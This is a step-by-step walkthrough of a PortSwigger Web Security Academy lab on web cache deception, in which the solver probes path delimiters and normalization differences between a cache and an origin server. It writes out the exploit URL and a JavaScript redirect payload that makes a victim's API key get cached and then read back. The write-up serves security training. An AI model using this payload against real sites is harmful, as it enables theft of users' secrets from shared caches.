PortSwigger

Lab Description

This lab exploits normalization discrepancies between the cache and origin server to access a > user’s sensitive API key.

Objective: Find the API key for the user carlos.

Credentials: wiener:peter

Provided: Delimiter character list.



Step 1: Identify the Target Endpoint

  1. Log in as wiener:peter

  2. Open GET /my-account in Burp Proxy

  3. Notice the response contains your API key


Step 2: Test Path Delimiters

  1. Send GET /my-account/abc  404 Not Found (no abstraction)
  2. Send GET /my-accountabc  404 Not Found (reference for Intruder)
  3. Send /my-account§§abc to Intruder with delimiter list:
    • Results: #?%23%3f return 200  Origin uses these as delimiters

Note: # cannot be used for exploitation (browser uses it as a fragment delimiter).


Step 3: Test Delimiter Discrepancy

Test ? delimiter:

GET /my-account?abc.js HTTP/1.1
  • No cache headers Cache also treats ? as delimiter

Test %23 delimiter:

GET /my-account%23abc.js HTTP/1.1
  • No cache headers Cache doesn’t have .js cache rule

Step 4: Investigate Normalization

Test dot-segment normalization (origin):

GET /aaa/..%2fmy-account HTTP/1.1
  • 404 Not Found  Origin does not decode ..%2f

Test static resource prefix:

  • Static resources served from /resources prefix with caching

Test cache dot-segment resolution:

GET /aaa/..%2fresources/YOUR-RESOURCE HTTP/1.1
  • X-Cache: hit  Cache does decode ..%2f and resolves the path!
GET /resources/..%2fYOUR-RESOURCE HTTP/1.1
  • No caching Cache resolves ..%2f and uses /resources prefix for cache rule

Conclusion: The cache normalizes ..%2f, but the origin server does not.


Step 5: Craft the Exploit Payload

Construct the malicious URL:

/my-account%23%2f%2e%2e%2fresources?wcd

Breakdown:

  • %23  URL-encoded # (delimiter for origin, not for cache)
  • %2f  URL-encoded /
  • %2e%2e  URL-encoded ..
  • resources  Triggers cache rule (cache normalizes path)
  • ?wcd  Cache buster (ensures fresh entry)

What happens:

  • Origin: # delimiter  /my-account  returns account page
  • Cache: Does not see #  path becomes ..%2fresources  cache normalizes ..%2f  /resources  caches as static resource

Step 6: Test the Payload

  1. In Repeater, test:
GET /my-account%23%2f%2e%2e%2fresources?wcd HTTP/1.1
  1. 200 with your API key
  2. X-Cache: miss (first request)
  3. X-Cache: hit (second request)

Step 7: Deliver the Exploit

  1. Go to the Exploit server
  2. In the Body section, paste:
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd"
</script>

  1. Click Deliver exploit to victim
  2. Victim visits the exploit navigates to the malicious URL
  3. Origin server returns Carlos’s account page (with API key)
  4. Cache stores the response as a static resource

Step 8: Retrieve the Cached Response

  1. In your browser, visit:
https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd
  1. Copy Carlos’s API key from the response

Step 9: Submit the Solution

  1. Go back to the lab page
  2. Click Submit solution
  3. Paste Carlos’s API key
  4. Click OK


Step 10: Lab Solved